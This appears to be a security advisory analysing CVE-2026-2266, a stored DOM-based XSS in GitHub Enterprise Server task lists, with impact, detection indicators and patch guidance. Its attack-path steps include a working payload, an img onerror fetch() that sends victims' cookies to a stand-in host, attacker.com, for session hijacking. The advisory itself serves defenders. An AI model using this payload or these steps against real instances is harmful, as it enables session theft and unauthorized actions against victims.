CVE-2026-2266: 
GitHub Enterprise Server vulnerability analysis and mitigation

CVE-2026-2266 is a DOM-based cross-site scripting (XSS) vulnerability in GitHub Enterprise Server (GHES) that allows authenticated attackers to execute arbitrary scripts in the context of another user's browser session. The flaw exists in the task list content extraction logic, which fails to properly re-encode browser-decoded text nodes before rendering, enabling injection of user-supplied HTML. It affects all GHES versions prior to 3.20, specifically versions up to 3.18.5 and 3.19.0–3.19.2. The vulnerability was disclosed on March 10, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 7.4 (High) (Feedly, GitHub 3.18 Release Notes, GitHub 3.19 Release Notes).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The task list content extraction logic in GHES renders browser-decoded text nodes without re-encoding them, allowing attacker-controlled HTML to be injected directly into the DOM. An authenticated attacker can craft malicious task list items within issues or pull requests; when another user views the affected content, the injected script executes in their browser session. Exploitation requires the attacker to have at least low-level authenticated access to the GHES instance and requires a victim user to interact with (view) the malicious content (Feedly, GitHub 3.18 Release Notes).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim user's browser session on the GHES instance. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (such as modifying repositories, creating webhooks, or accessing private data), and potential lateral movement within the enterprise environment. Confidentiality and integrity are both impacted, though availability is not directly affected (Feedly).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2026-2266. The EPSS score is approximately 0.069%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. It was responsibly disclosed through the GitHub Bug Bounty program, and no threat actor attribution has been identified (Feedly).

1. Gain authenticated access: Obtain a low-privileged authenticated account on the target GitHub Enterprise Server instance (versions prior to 3.18.6 or 3.19.3).
2. Identify a target: Determine a victim user who has access to issues or pull requests on the instance and is likely to view attacker-created content.
3. Craft malicious task list content: Create or edit an issue or pull request and insert a malicious task list item containing injected HTML/JavaScript. For example, embed a payload such as - [ ] <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> within the task list markdown.
4. Deliver the payload: Share or link the malicious issue/pull request to the target victim, or rely on them naturally navigating to it.
5. Trigger execution: When the victim views the issue or pull request, the GHES task list rendering logic fails to re-encode the injected HTML, causing the browser to execute the attacker's script in the victim's session context.
6. Harvest results: Collect exfiltrated session tokens, cookies, or other sensitive data from the attacker-controlled server to perform session hijacking or further unauthorized actions (Feedly, GitHub 3.18 Release Notes).

• Network: Unexpected outbound HTTP/HTTPS requests from victim browsers to external or attacker-controlled domains shortly after viewing GHES issues or pull requests; unusual data in query parameters (e.g., encoded cookies or tokens) in outbound requests.
• Logs: GHES audit logs showing issue or pull request views by multiple users of content created by a single low-privileged account; access log entries showing rendering of task list content with anomalous HTML characters (<, >, onerror, script, etc.) in stored content.
• File System / Content: Issues or pull requests containing task list items with embedded HTML tags, JavaScript event handlers (e.g., onerror, onload, onclick), or <script> tags in the task list markdown.
• User Behavior: Reports from users of unexpected browser redirects, pop-ups, or unauthorized actions (e.g., repository changes, new webhooks) occurring after viewing specific issues or pull requests (Feedly).

GitHub has released patched versions of GHES that address this vulnerability: 3.18.6 and 3.19.3. Administrators running any GHES version prior to 3.20 (specifically below 3.18.6 or between 3.19.0 and 3.19.2) should upgrade to the fixed releases immediately. No configuration-based workaround is documented; upgrading is the recommended and only confirmed remediation. GitHub Cloud (GitHub.com) is not affected (GitHub 3.18 Release Notes, GitHub 3.19 Release Notes).

The vulnerability was reported through the GitHub Bug Bounty program and disclosed by GitHub as part of their standard security advisory process. No notable independent researcher commentary, significant social media discussion, or major media coverage has been identified beyond standard CVE aggregator entries and vulnerability database listings (Feedly).